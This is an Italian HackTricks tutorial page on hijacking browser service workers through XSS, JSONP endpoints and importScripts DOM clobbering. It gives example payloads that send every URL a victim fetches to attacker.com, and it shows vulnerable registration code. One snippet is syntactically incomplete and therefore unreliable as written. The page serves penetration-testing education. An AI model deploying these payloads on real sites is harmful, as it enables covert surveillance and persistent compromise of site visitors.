8.6 KiB
Abusare dei Service Workers
Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!
- Lavori in una azienda di sicurezza informatica? Vuoi vedere la tua azienda pubblicizzata su HackTricks? o vuoi avere accesso all'ultima versione del PEASS o scaricare HackTricks in PDF? Controlla i PIANI DI ABBONAMENTO!
- Scopri La Famiglia PEASS, la nostra collezione di NFT esclusivi
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguimi su Twitter 🐦@carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR al repo di hacktricks e al repo di hacktricks-cloud.
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
Informazioni di Base
Un service worker è uno script eseguito dal tuo browser in background, separato da qualsiasi pagina web, che abilita funzionalità che non richiedono una pagina web o interazione dell'utente, migliorando così le capacità di elaborazione offline e in background. Informazioni dettagliate sui service workers possono essere trovate qui. Sfruttando i service workers all'interno di un dominio web vulnerabile, gli attaccanti possono ottenere il controllo sulle interazioni della vittima con tutte le pagine all'interno di quel dominio.
Verifica dell'Esistenza dei Service Workers
I service workers esistenti possono essere verificati nella sezione Service Workers della scheda Applicazione nelle Strumenti per Sviluppatori. Un altro metodo è visitare chrome://serviceworker-internals per una visualizzazione più dettagliata.
Notifiche Push
Le autorizzazioni alle notifiche push influenzano direttamente la capacità di un service worker di comunicare con il server senza interazione diretta dell'utente. Se le autorizzazioni vengono negate, limitano il potenziale del service worker di costituire una minaccia continua. Al contrario, concedere le autorizzazioni aumenta i rischi di sicurezza abilitando la ricezione ed esecuzione di potenziali exploit.
Attacco Creazione di un Service Worker
Per sfruttare questa vulnerabilità è necessario trovare:
- Un modo per caricare file JS arbitrari sul server e un XSS per caricare il service worker del file JS caricato
- Una richiesta JSONP vulnerabile in cui è possibile manipolare l'output (con codice JS arbitrario) e un XSS per caricare il JSONP con un payload che caricherà un service worker malevolo.
Nell'esempio seguente presenterò un codice per registrare un nuovo service worker che ascolterà l'evento fetch
e invierà al server degli attaccanti ogni URL recuperato (questo è il codice di cui avresti bisogno per caricare sul server o caricare tramite una risposta JSONP vulnerabile):
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
E questo è il codice che registra il worker (il codice che dovresti essere in grado di eseguire sfruttando un XSS). In questo caso verrà inviata una richiesta GET al server degli attaccanti notificando se la registrazione del service worker è stata o meno riuscita:
<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>
Nel caso si voglia abusare di un endpoint JSONP vulnerabile, è necessario inserire il valore all'interno di var sw
. Ad esempio:
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
Esiste un C2 dedicato allo sfruttamento dei Service Workers chiamato Shadow Workers che sarà molto utile per sfruttare queste vulnerabilità.
La direttiva della cache di 24 ore limita la vita di un service worker (SW) maligno o compromesso a al massimo 24 ore dopo la correzione di una vulnerabilità XSS, assumendo uno stato di client online. Per ridurre al minimo la vulnerabilità, gli operatori del sito possono ridurre il Time-To-Live (TTL) dello script SW. Ai developer viene anche consigliato di creare un interruttore di disattivazione del service worker per una rapida disattivazione.
Abuso di importScripts
in un SW tramite DOM Clobbering
La funzione importScripts
chiamata da un Service Worker può importare uno script da un dominio diverso. Se questa funzione viene chiamata utilizzando un parametro che un attaccante potrebbe modificare, potrebbe importare uno script JS dal suo dominio e ottenere XSS.
Questo bypassa anche le protezioni CSP.
Esempio di codice vulnerabile:
- index.html
<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
- sw.js
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker
Con DOM Clobbering
Per ulteriori informazioni su cosa sia il DOM Clobbering, controlla:
{% content-ref url="dom-clobbering.md" %} dom-clobbering.md {% endcontent-ref %}
Se l'URL/dominio che il SW sta utilizzando per chiamare importScripts
è all'interno di un elemento HTML, è possibile modificarlo tramite DOM Clobbering per fare in modo che il SW carichi uno script dal proprio dominio.
Per un esempio di questo, controlla il link di riferimento.
Riferimenti
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
Impara l'hacking su AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
- Lavori in una azienda di sicurezza informatica? Vuoi vedere la tua azienda pubblicizzata in HackTricks? o vuoi avere accesso all'ultima versione del PEASS o scaricare HackTricks in PDF? Controlla i PIANI DI ABBONAMENTO!
- Scopri The PEASS Family, la nostra collezione di esclusivi NFTs
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguimi su Twitter 🐦@carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR al repo hacktricks e al repo hacktricks-cloud.